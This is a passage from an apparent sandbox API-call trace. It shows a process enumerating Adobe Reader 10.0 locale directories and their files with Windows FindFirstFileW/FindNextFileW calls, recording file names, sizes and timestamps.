[0045.672] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.672] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.672] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.672] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.KOR", cAlternateFileName="")) returned 1 [0045.673] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.673] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.673] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb_NO", cAlternateFileName="")) returned 1 [0045.673] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.676] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.677] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0045.677] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.678] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.678] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.678] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.678] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.678] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0045.678] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.678] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.678] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0045.678] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.694] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.694] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0045.695] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.698] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.698] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.698] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.698] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.698] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0045.698] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.698] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.698] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0045.698] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.707] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.707] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0045.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0045.709] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.709] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.709] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0045.709] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.709] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0045.709] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.709] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.709] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0045.709] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.711] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.711] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0045.712] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0045.712] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.712] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.713] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0045.713] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.713] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0045.713] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.713] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.713] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0045.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.714] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.714] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0045.715] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec03f0 [0045.715] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.715] FindNextFileW (in: hFindFile=0x3ec03f0, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.716] FindClose (in: hFindFile=0x3ec03f0 | out: hFindFile=0x3ec03f0) returned 1 [0045.716] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.716] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 